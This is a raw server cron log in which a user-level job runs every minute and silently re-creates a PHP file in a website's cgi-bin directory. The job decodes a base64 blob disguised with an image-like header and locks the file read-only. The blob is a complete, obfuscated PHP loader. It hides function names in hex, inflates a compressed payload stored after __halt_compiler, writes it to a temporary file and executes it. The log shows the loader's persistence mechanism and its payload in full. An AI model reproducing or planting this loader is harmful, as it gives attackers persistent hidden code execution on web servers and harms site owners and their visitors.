Apr 12 17:20:01 server CROND[25593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:21:01 server CROND[25808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:22:01 server CROND[25869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:23:01 server CROND[25938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:24:01 server CROND[26001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:25:01 server CROND[26060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:25:01 server CROND[26061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:25:01 server CROND[26062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:26:01 server CROND[26271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:27:01 server CROND[26336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:27:01 server CROND[26337]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 17:28:01 server CROND[26397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:29:01 server CROND[26447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:30:01 server CROND[26515]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:30:01 server CROND[26516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:30:01 server CROND[26517]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 17:30:01 server CROND[26518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:31:01 server CROND[26732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:32:01 server CROND[26806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:33:01 server CROND[26869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
